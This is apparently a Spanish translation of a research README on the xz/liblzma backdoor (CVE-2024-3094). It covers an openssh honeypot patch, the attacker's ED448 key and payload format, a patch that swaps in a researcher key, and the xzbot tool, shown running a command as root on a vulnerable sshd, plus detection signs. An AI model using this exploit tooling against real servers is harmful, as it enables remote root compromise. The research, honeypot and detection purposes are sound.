
notas, honeypot y demo de exploit para el backdoor de xz (CVE-2024-3094)
Exploración de la puerta trasera de xz (CVE-2024-3094). Incluye lo siguiente:

Consulta openssh.patch para ver un parche sencillo de openssh que registra cualquier intento de conexión con una clave pública N que coincida con el formato de la puerta trasera.
$ git clone https://github.com/openssh/openssh-portable
$ patch -p1 < ~/path/to/openssh.patch
$ autoreconf
$ ./configure
$ make
Cualquier intento de conexión aparecerá de la siguiente manera en los registros de sshd:
$ journalctl -u ssh-xzbot --since='1d ago' | grep xzbot:
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: magic 1 [preauth]
Mar 30 00:00:00 honeypot sshd-xzbot[1234]: xzbot: 010000000100000000000000000000005725B22ED2...
La puerta trasera utiliza una clave pública ED448 codificada para la validación de la firma y el descifrado de la carga útil. Si reemplazamos esta clave por la nuestra, podemos activar la puerta trasera.
La clave ED448 del atacante es:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
10 0c b0 6c 3a be 14 ee 89 55 d2 45 00 c7 7f 6e
20 d3 2c 60 2b 2c 6d 31 00
Reemplazaremos esta clave por la nuestra (generada con seed=0):
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
Para empezar, descarga un objeto compartido libxzma con la puerta trasera, por ejemplo de https://snapshot.debian.org/package/xz-utils/5.6.1-1. Después ejecuta el script de parche. Consulta assets/ para ver ejemplos.
$ pip install pwntools
$ shasum -a 256 liblzma.so.5.6.1
605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4 liblzma.so.5.6.1
$ python3 patch.py liblzma.so.5.6.1
Patching func at offset: 0x24470
Generated patched so: liblzma.so.5.6.1.patch
A continuación, ejecuta sshd usando este objeto compartido modificado liblzma.so.5.6.1.patch.
La puerta trasera puede activarse conectándose con un certificado SSH que contenga una carga útil en el valor N de la clave de firma de la CA. Esta carga útil debe estar cifrada y firmada con la clave ED448 del atacante.
La estructura tiene el siguiente formato:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| a (32 bit) | b (32 bit) | c (64 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ ciphertext (240 bytes) +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
A partir de los tres valores anteriores se deriva un tipo de solicitud (a * b + c).
Si este valor es mayor que 3, la puerta trasera omite el procesamiento.
El texto cifrado se cifra con chacha20 usando los primeros 32 bytes de la clave pública ED448 como clave simétrica. Como resultado, podemos descifrar cualquier intento de explotación usando la siguiente clave:
0a 31 fd 3b 2f 1f c6 92 92 68 32 52 c8 c1 ac 28
34 d1 f2 c9 75 c4 76 5e b1 f6 88 58 88 93 3e 48
El texto cifrado tiene el siguiente formato:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| signature (114 bytes) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| x (1 bit) | unused ? (14 bit) | y (1 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| unknown (8 bit) | length (8 bit) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| unknown (8 bit) | command \x00 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Establecer x o y lleva a rutas de código ligeramente diferentes.
La firma es una firma ED448 RFC-8032 calculada sobre los siguientes valores:
02 00 00 00)length bytes del comando$ go install github.com/amlweems/xzbot@latest
$ xzbot -h
Usage of xzbot:
-addr string
ssh server address (default "127.0.0.1:2222")
-seed string
ed448 seed, must match xz backdoor key (default "0")
-cmd string
command to run via system() (default "id > /tmp/.xz")
El siguiente comando se conectará a un servidor SSH vulnerable en 127.0.0.1:2222 y
ejecutará el comando id > /tmp/.xz:
$ xzbot -addr 127.0.0.1:2222 -cmd 'id > /tmp/.xz'
00000000 00 00 00 1c 73 73 68 2d 72 73 61 2d 63 65 72 74 |....ssh-rsa-cert|
00000010 2d 76 30 31 40 6f 70 65 6e 73 73 68 2e 63 6f 6d |[email protected]|
00000020 00 00 00 00 00 00 00 03 01 00 01 00 00 01 01 01 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000160 00 00 01 14 00 00 00 07 73 73 68 2d 72 73 61 00 |........ssh-rsa.|
00000170 00 00 01 01 00 00 01 00 02 00 00 00 01 00 00 00 |................|
00000180 00 00 00 00 00 00 00 00 54 97 bc c5 ef 93 e4 24 |........T......$|
00000190 cf b1 57 57 59 85 52 fd 41 2a a5 54 9e aa c6 52 |..WWY.R.A*.T...R|
000001a0 58 64 a4 17 45 8a af 76 ce d2 e3 0b 7c bb 1f 29 |Xd..E..v....|..)|
000001b0 2b f0 38 45 3f 5e 00 f1 b0 00 15 84 e7 bc 10 1f |+.8E?^..........|
000001c0 0f 5f 50 36 07 9f bd 07 05 77 5c 74 84 69 c9 7a |._P6.....w\t.i.z|
000001d0 28 6b e8 16 aa 99 34 bf 9d c4 c4 5c b8 fd 4a 3c |(k....4....\..J<|
000001e0 d8 2b 39 32 06 d9 4f a4 3a 00 d0 0b 0f a2 21 c0 |.+92..O.:.....!.|
000001f0 86 c3 c9 e2 e6 17 b4 a6 54 ba c3 a1 4c 40 91 be |........T...L@..|
00000200 91 9a 2b f8 0b 18 61 1c 5e e1 e0 5b e8 00 00 00 |..+...a.^..[....|
00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000270 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 07 |................|
00000280 73 73 68 2d 72 73 61 00 00 00 01 00 |ssh-rsa.....|
2024/03/30 00:00:00 ssh: handshake failed: EOF
En el servidor vulnerable, podemos establecer un punto de vigilancia para la llamada a system()
y observar cómo se ejecuta el comando:
$ bpftrace -e 'watchpoint:0x07FFFF74B1995:8:x {
printf("%s (%d): %s\n", comm, pid, str(uptr(reg("di"))))
}'
Attaching 1 probe...
sshd (1234): id > /tmp/.xz
$ cat /tmp/.xz
uid=0(root) gid=0(root) groups=0(root)
El árbol de procesos después de la explotación se ve diferente de un árbol de procesos sshd normal:
# normal process tree
$ ssh foo@bar
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 1026 765 7 18:51 ? 00:00:00 \_ sshd: foo [priv]
foo 1050 1026 0 18:51 ? 00:00:00 \_ sshd: foo@pts/1
foo 1051 1050 0 18:51 pts/1 00:00:00 \_ -bash
# backdoor process tree
$ xzbot -cmd 'sleep 60'
$ ps -ef --forest
root 765 1 0 17:58 ? 00:00:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 941 765 4 18:04 ? 00:00:00 \_ sshd: root [priv]
sshd 942 941 0 18:04 ? 00:00:00 \_ sshd: root [net]
root 943 941 0 18:04 ? 00:00:00 \_ sh -c sleep 60
root 944 943 0 18:04 ? 00:00:00 \_ sleep 60
Nota: una explotación exitosa no genera entradas de registro de nivel INFO o superior.